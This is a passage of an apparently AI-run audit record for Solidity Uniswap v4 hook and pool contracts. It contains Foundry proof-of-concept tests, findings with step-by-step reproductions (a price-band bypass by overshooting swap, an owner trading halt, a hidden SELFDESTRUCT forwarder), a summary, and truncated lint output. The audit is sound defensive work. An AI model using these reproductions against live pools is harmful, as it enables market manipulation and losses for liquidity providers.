t_) external { q = q_; t = t_; }\n    function getReserves() external view returns (uint256, uint256) { return (q, t); }\n    function graduated() external pure returns (bool) { return false; }\n    function pairToken() external pure returns (address) { return address(0); }\n    function factory() external pure returns (address) { return address(0); }\n}\n\ncontract Trader {\n    IPoolManager immutable pm;\n    PoolKey key;\n    constructor(IPoolManager pm_) { pm = pm_; }\n    function swap(PoolKey calldata k, bool buy, int256 amountSpecified) external returns (BalanceDelta d) {\n        key = k;\n        d = abi.decode(pm.unlock(abi.encode(buy, amountSpecified)), (BalanceDelta));\n    }\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        (bool buy, int256 amt) = abi.decode(data, (bool, int256));\n        BalanceDelta d = pm.swap(key, SwapParams(buy, amt, buy ? TickMath.MIN_SQRT_PRICE + 1 : TickMath.MAX_SQRT_PRICE - 1), \"\");\n        _settle(key.currency0, d.amount0());\n        _settle(key.currency1, d.amount1());\n        return abi.encode(d);\n    }\n    function _settle(Currency c, int128 v) internal {\n        if (v < 0) {\n            if (c.isAddressZero()) pm.settle{value: uint128(-v)}();\n            else { pm.sync(c); Coin(Currency.unwrap(c)).transfer(address(pm), uint128(-v)); pm.settle(); }\n        } else if (v > 0) pm.take(c, address(this), uint128(v));\n    }\n    receive() external payable {}\n}\n\n/// Finding: _deviation measures |pool - ref| / ref, which is capped at 100% when the pool is below the reference\n/// and unbounded above it. \"Closer\" by that number is not closer in price: once Pons has moved so the pool is 2x\n/// the Pons price (deviation 10000), one buy that leaves the pool at ~1/20 of the Pons price (deviation ~9500)\n/// counts as a correction and passes the band, a 40x swing through the reference in one swap.\ncontract OneSidedBandTest is Test {\n    IPoolManager PM;\n    address constant OWNER = address(0xA11CE);\n    IMD6900PerpHook hook; IMD6900PerpPool pool; Coin coin; Curve curve; Trader trader;\n\n    function setUp() public {\n        PM = IPoolManager(address(new PoolManager(address(this))));\n        IMD6900PerpsLaunch l = new IMD6900PerpsLaunch(PM, 10_000, OWNER, OWNER);\n        hook = l.hook(); pool = l.pool();\n        coin = new Coin();\n        curve = new Curve(address(coin), 1 ether, 1e27); // 1e9 coin per ETH\n        coin.mint(OWNER, 2e27);\n        vm.deal(OWNER, 10 ether);\n        vm.startPrank(OWNER);\n        coin.approve(address(pool), type(uint256).max);\n        pool.open{value: 2 ether}(address(coin), address(curve), _sqrt(1e9) << 96, 2e27);\n        vm.stopPrank();\n        trader = new Trader(PM);\n        vm.deal(address(trader), 100 ether);\n    }\n\n    function test_aTradeMayNotOvershootThroughThePonsPrice() public {\n        PoolKey memory k = pool.poolKey();\n        // Pons trades move the curve: the coin is now worth twice as much there (5e8 coin per ETH), so this pool\n        // sits at 2x the Pons price, deviation 100%\n        curve.set(1 ether, 5e26);\n        assertApproxEqAbs(hook.deviationBps(), 10_000, 2);\n\n        // a 10 ETH buy into 2 ETH of depth takes the pool to ~2.8e7 coin per ETH: 1/18 of the Pons price, a\n        // 36x move through the reference. It must be refused: it ends far outside the band and nowhere near Pons.\n        vm.expectRevert();\n        trader.swap(k, true, -10 ether);\n        assertGe(hook.poolPriceX96(), hook.ponsPriceX96() / 2, \"the pool did not cross far below Pons\");\n    }\n\n    function _sqrt(uint256 x) internal pure returns (uint160 z) {\n        uint256 r = x; uint256 y = (x + 1) / 2;\n        while (y < r) { r = y; y = (x / y + y) / 2; }\n        z = uint160(r);\n    }\n}","reproduction":"State: pool opened at 1e9 coin/ETH with 2 ETH + 2e27 coin; the Pons curve then moves to 5e8 coin/ETH (reserves 1 ETH / 5e26 coin), so hook.deviationBps() = 9999. A router buys with 10 ETH: PoolManager.swap(key, {zeroForOne: true, amountSpecified: -10 ether, limit: MIN_SQRT_PRICE+1}). Measured on this code: pool price before 999,950,884 coin/ETH, Pons 500,000,000; after the swap the pool is at 28,245,205 coin/ETH (Pons/pool = 17.7x), deviationBps = 9435. Expected: revert TooFarFromPons, since the swap ends 9435 bps from Pons (> 3000) and on the far side of it. Actual: the swap succeeds because 9435 < 9999. See test/scratch/OneSidedBand.t.sol.","severity":"medium","snippet":"        uint256 d = pool_ > ref ? pool_ - ref : ref - pool_;\n        return (d * BPS) / ref;","title":"The deviation metric is one-sided, so a \"correction\" may overshoot through the Pons price by more than 17x in one swap"},{"citation":"resolved","description":"PoolManager.modifyLiquidity returns callerDelta = principal + feesAccrued. unlockCallback returns _abs(a0), _abs(a1) and open/addLiquidity/compound treat them as \"ETH/coin that went into the position\". When the position's accrued fees in a currency exceed what the added liquidity owes, the delta is positive: the contract takes the surplus from the PoolManager, reports it as ethIn/tokensIn, and the refund branch (msg.value > ethIn) is skipped. The caller's ETH is then neither in the position nor refunded; it sits in the pool contract with the fees until someone calls compound. No value leaves the protocol (added liquidity is the contract's anyway), but the events misstate what was contributed and a depositor who sizes msg.value exactly gets no refund of the part the fees paid for. Fix: compute the amounts from the principal delta (modifyLiquidity's callerDelta minus feesAccrued) and return them separately from fees.","line":216,"path":"src/IMD6900PerpPool.sol","reproduction":"State: pool opened at 1e9 coin/ETH with 2 ETH; a router buys with 0.05 ETH (1% fee: 0.0005 ETH accrues to the position). Anyone calls pool.addLiquidity{value: 0.0001 ether}(1e27, self). Measured: LiquidityAdded(eth = 399,999,999,999,999 wei, tokens = 9.52e22) although the caller paid 100,000,000,000,000 wei; the pool contract's ETH balance rises by 499,999,999,999,999 wei (the caller's 0.0001 ETH unrefunded + 0.0004 ETH of fees taken). Expected: the event reports eth = 0.0001 ETH, or the fee surplus is reported as fees and the caller's unused ETH is refunded.","severity":"low","snippet":"        return abi.encode(_abs(a0), _abs(a1));","title":"unlockCallback reports |delta| as the amount paid in, so when accrued fees exceed what the new liquidity owes, the refund and the Opened/LiquidityAdded event are wrong and the caller's ETH stays in th"},{"citation":"resolved","description":"Solady's forceSafeTransferETH (lib/solady/src/utils/SafeTransferLib.sol lines 148-162) first tries a 100k-gas call and, if the recipient reverts, CREATEs a 22-byte contract (PUSH20 <to> SELFDESTRUCT) funded with the amount, which self-destructs to force the ETH through. The launch forbids SELFDESTRUCT and the admission scan (test_PassesTheAdmissionScan, Contracts.protected.t.sol) passes only because the 0xff byte sits in PUSH immediates (mstore8(0x20, 0xff)) of the pool and hook runtime, not as an instruction. The behaviour is still present at runtime in removeLiquidity (line 116), open (line 139), addLiquidity (line 155) and the hook's flush (src/IMD6900PerpHook.sol line 262). Under Cancun (EIP-6780) the forwarder is created and destroyed in the same transaction so it works, but the adapter should replace these with safeTransferETH (revert on refusal) if the policy is read literally.","line":116,"path":"src/IMD6900PerpPool.sol","reproduction":"Owner calls pool.removeLiquidity(liq, ethTo = R, tokensTo = owner) where R is a contract whose receive() reverts (or any recipient whose fallback needs more than 100k gas). Actual: the pool contract CREATEs a contract with code 0x73<R>ff funded with the ETH, which executes SELFDESTRUCT and credits R. Same for addLiquidity(..., refundTo = R) with excess msg.value by anyone, and for hook.flush() when feeAddress is R. Expected for a launch that forbids SELFDESTRUCT: the transfer reverts (safeTransferETH) or the ETH is held for pull-withdrawal.","severity":"low","snippet":"        SafeTransferLib.forceSafeTransferETH(ethTo, eth);","title":"forceSafeTransferETH creates a SELFDESTRUCT forwarder contract at runtime when a recipient rejects ETH; the admission scan cannot see it"},{"citation":"resolved","description":"The hook charges nothing itself (no return deltas, the pool's static fee does it), yet it keeps skimBps (\"how much of an arbitrageur's profit this pool keeps\"), feeBps, perpFeeBps, feeFor(), lowerFee(), setPerpFeeBps() and setSkim()'s skim half. None of them is read by any callback; feeExempt is read only by tracksPons/feeFor. The README (compound \"turns the coin the hook skimmed from arbitrageurs into depth\") and the FeeTaken event describe a skim that does not exist. An owner or the engine reading feeFor() will model a 10% fee (feeBps = 1000) on a pool that actually charges 1% (poolFeePips = 10000), which the NatSpec at lines 90-91 says must be kept equal. Remove the dead parameters or derive feeBps from poolFeePips so the engine's solvency model matches the pool.","line":130,"path":"src/IMD6900PerpHook.sol","reproduction":"Deploy with poolFee = 10000 (1%). hook.feeBps() returns 1000 (10%) and hook.feeFor(anyRouter) returns 1000, while a 1 ETH swap pays 0.01 ETH of fee to the position. Owner calls hook.setSkim(0, 3000) or hook.setSkim(10000, 3000): no swap, refund, or balance changes in any way; only SkimSet is emitted.","severity":"low","snippet":"    uint256 public skimBps = 9_000;","title":"skimBps, feeBps, perpFeeBps and their setters are dead state: nothing in this hook reads them, while NatSpec promises a skim and a fee"},{"citation":"resolved","description":"setPerpEngine takes any address with no code check. With sweepFailOpen == false, _sweep reverts SweepUnavailable for every non-engine, non-exempt swap when the engine call fails or returns fewer than 32 bytes. This is the documented fail-closed design (README: \"the hook's engine can stop swaps (fail closed) but never withdrawals\") and the launch's rule against pausing concerns holder balances, which nobody but the protocol has in this pool; recorded here so the adapter and the panel see the trading-pause capability explicitly. The owner's exit (removeLiquidity) does not touch the engine on the hook side and stays available, as verified in test/RobinhoodFlow.fork.t.sol and by reading _beforeRemoveLiquidity.","line":216,"path":"src/IMD6900PerpHook.sol","reproduction":"Owner calls hook.setPerpEngine(0x000000000000000000000000000000000000dEaD) (no code: the low-level call returns ok with empty data, out.length < 32). Any router's PoolManager.swap on the pool reverts with SweepUnavailable wrapped by the PoolManager. Owner calls pool.removeLiquidity(all, owner, owner): succeeds.","severity":"info","snippet":"    function setPerpEngine(address engine) external onlyOwner {\n        perpEngine = engine;","title":"The owner can halt all swaps (fail-closed sweep) by pointing perpEngine at any reverting or codeless address; liquidity removal is unaffected"},{"citation":"resolved","description":"MAX_TRIES = 2^20 at ~128 gas per try is ~134M gas, far past any per-transaction cap, so the loop never reaches NoSalt in practice; the actual failure mode is running out of gas mid-loop, which reverts the whole launch. The number of tries is fixed by the launch contract's own address (the factory's CREATE2 result for IMD's salt and this initcode), so it is known before deployment: the adapter can compute it offline with the factory address and salt and confirm the cost fits the policy's gas ceiling instead of relying on test_FitsOneTransaction, which measures the test deployer's address. README gives 5.9M mean, 10.5M worst over 40 addresses; about one address in 350 needs more than 2^24 gas.","line":23,"path":"src/IMD6900PerpsLaunch.sol","reproduction":"For a launch address A, count i from 0 until keccak256(0xff ++ A ++ i ++ keccak256(hookInitcode)) & 0x3fff == 0x2ac0 (FLAGS); gas ~ 128 * i + ~2.5M for the two creations. With i > ~95,000 the constructor exceeds 16,777,216 gas and reverts; the launch is parked rather than deployed.","severity":"info","snippet":"    uint256 internal constant MAX_TRIES = 1 << 20;","title":"Salt mining cost depends on the launch address IMD's factory assigns; a deployer address needing more than ~95k tries exhausts EIP-7825's 2^24 cap before MAX_TRIES"},{"citation":"resolved","description":"Read in full: src/IMD6900PerpsLaunch.sol, src/IMD6900PerpHook.sol, src/IMD6900PerpPool.sol, script/Owner.s.sol, README.md, test/IMD6900Perps.t.sol, test/IMD6900PerpsLaunch.t.sol, test/RobinhoodFlow.fork.t.sol (skipped offline: no ROBINHOOD_RPC_URL), and the vendored pieces the contracts depend on for the checked behaviour: v4-periphery BaseHook/ImmutableState constructors, solady SafeTransferLib.forceSafeTransferETH, v4-core PoolManager.swap/modifyLiquidity ordering (vendored copy, used by the tests). All 12 offline tests pass; the launch initcode is 19,154 bytes (probe limit 49,152), hook runtime 8,855 bytes, pool runtime 7,886 bytes (EIP-170 limit 24,576); the admission scan finds no CALLCODE/DELEGATECALL/SELFDESTRUCT instruction. Could not be reached (no source in the repository, no RPC): the Pons bonding curve and PonsV2LaunchFactory on Robinhood Chain (so the hand-copied PonsLaunchedToken struct, graduated()/getReserves()/factory()/memeHook() and the meaning of getReserves as a price are unverified), the Pons launcher #1026 at 0xE0aBb21F15766BE162429f46F494617eB5EF6Ba0 (whether it exposes addFees() for the fee-sink path), the perps engine (src/perps/PerpEngine.sol is referenced in NatSpec but absent, so sweepLiquidations/openIds/isLiquidatable behaviour is modelled with mocks), and the live PoolManager at 0x8366a39CC670B4001A1121B8F6A443A643e40951 (assumed to be the vendored v4-core version). Constructor arguments in the brief match README and the fork test: PoolManager 0x8366..., fee 10000, owner and feeAddress 0x35da...; ownership of pool and hook ends with that address, the hook address carries exactly FLAGS, and nothing pre-existing is called in the constructor.","line":1,"path":"src/IMD6900PerpsLaunch.sol","reproduction":"Not a defect: coverage statement required by the assignment.","severity":"info","snippet":"// SPDX-License-Identifier: MIT","title":"Coverage: contracts read and contracts that could not be reached"}],"hash":"fefe0f4c3d8afe552998435372a90ddf305e06042065fe2467af87d28195acbe","nodeId":"331d6d4b-3d75-494b-bebb-f6287304ccca","outcome":"completed","summary":"Review complete. The findings file is written, validated, and every snippet matches the tree; the scratch tests are removed and the working tree is clean apart from the ignored build output.\n\n**Result: 3 medium, 3 low, 3 info findings in `.imd-findings.json`.** No loss-of-funds path was found. The launch itself is sound: it deploys on a fresh chain, the hook address carries exactly the five mined flags, the initcode is 19 KB against the probe's 48 KB limit, the admission scan finds no forbidden opcode, and the owner's full liquidity exit cannot be blocked by hook state. All 12 offline tests pass.\n\n**Medium, each with an embedded Foundry proof that fails on the current code:**\n- **Band check silently skipped when the post-swap sweep liquidates.** The engine's nested swap overwrites the transient deviation slot with the \"not tracked\" sentinel, so the outer trader's band check returns early. A trade that otherwise reverts with TooFarFromPons goes through once an engine is wired.\n- **Unreadable Pons reference halts all trading.** The try/catch in the graduated-price read wraps only `factory()`; the factory call, struct decode and the pre-graduation reads sit outside it, contradicting the NatSpec. The pool's curve has no setter, so the owner cannot repoint it.\n- **One-sided deviation metric lets a \"correction\" overshoot through the Pons price.** With the pool at 2x Pons, a single 10 ETH buy ending at 1/18 of the Pons price is accepted because 9435 < 9999 bps.\n\n**Low:** fee surplus misreported as amount paid in (caller's ETH left unrefunded in the contract), SELFDESTRUCT forwarder created at runtime by Solady's forced ETH transfer when a recipient rejects ETH, and dead fee/skim state the NatSpec presents as live.\n\n**Info:** owner's documented fail-closed trading halt, mining cost being fixed by the factory-assigned launch address, and the coverage statement. Read in full: the three source contracts, the owner script, the tests, and the vendored BaseHook, SafeTransferLib and PoolManager paths they rely on. Not reachable: the Pons curve and factory, the Pons launcher #1026, the perps engine (referenced but absent), and the live PoolManager on Robinhood Chain.","treeHash":null,"usage":{"cachedInputTokens":1966967,"inputTokens":514,"model":"claude-fable-5-1","outputTokens":61200,"runtime":"claude","turns":36,"wallClockMs":904977}}],"verification":[{"checks":[{"durationMs":41831,"exitCode":0,"name":"build","output":"Compiling 89 files with Solc 0.8.26\nSolc 0.8.26 finished in 41.70s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:40:29\n   │\n40 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n41 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n42 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:76:14\n   │\n76 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:77:25\n   │\n77 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:79:9\n   │\n79 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:93:22\n   │\n93 │     function setHook(address hook_) external onlyOwner {\n   │                      ━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:96:9\n   │\n96 │         emit HookSet(hook_);\n   │         ━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:99:28\n   │\n99 │     function setPerpEngine(address engine) external onlyOwner {\n   │                            ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:101:9\n    │\n101 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:116:9\n    │\n116 │         SafeTransferLib.safeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:233:9\n    │\n233 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:165:44\n    │\n165 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:165:63\n    │\n165 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:106:95\n    │\n106 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:21\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:118:9\n    │\n118 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:67\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:200:28\n    │\n200 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:202:9\n    │\n202 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:207:9\n    │\n207 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:214:9\n    │\n214 │         emit MaxDeviationSet(maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:219:9\n    │\n219 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:128:9\n    │\n128 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:222:31\n    │\n222 │     function updateFeeAddress(address feeAddress_) external onlyOwner {\n    │                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:225:9\n    │\n225 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:19\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:35\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:141:9\n    │\n141 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:135:9\n    │\n135 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:155:32\n    │\n155 │         if (msg.value > ethIn) SafeTransferLib.safeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:157:9\n    │\n157 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:174:9\n    │\n174 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:188:9\n    │\n188 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:234:9\n    │\n234 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:245:32\n    │\n245 │         if (toFeeAddress != 0) SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:246:9\n    │\n246 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:207:21\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:47\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:55\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:73\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:81\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider 